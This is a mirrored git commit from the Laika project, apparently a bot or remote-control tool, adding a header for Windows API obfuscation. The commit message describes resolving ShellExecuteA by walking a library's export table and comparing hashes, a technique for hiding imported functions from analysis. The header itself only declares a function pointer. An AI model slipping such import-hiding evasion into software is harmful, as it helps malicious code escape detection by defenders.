mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-29 13:10:08 +00:00
Bot: Added boilerplate windows API obfuscation
- Grabs the functions directly from the loaded library by walking the exported address table and comparing hashes - For now, only ShellExecuteA has been setup, more to come
This commit is contained in:
17
bot/include/obf.h
Normal file
17
bot/include/obf.h
Normal file
@@ -0,0 +1,17 @@
|
||||
#ifndef LAIKA_OBF_H
|
||||
#define LAIKA_OBF_H
|
||||
|
||||
#include "laika.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
# include <windows.h>
|
||||
|
||||
/* WINAPI types */
|
||||
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
||||
|
||||
extern _ShellExecuteA oShellExecuteA;
|
||||
#endif
|
||||
|
||||
void laikaO_init();
|
||||
|
||||
#endif
|
Reference in New Issue
Block a user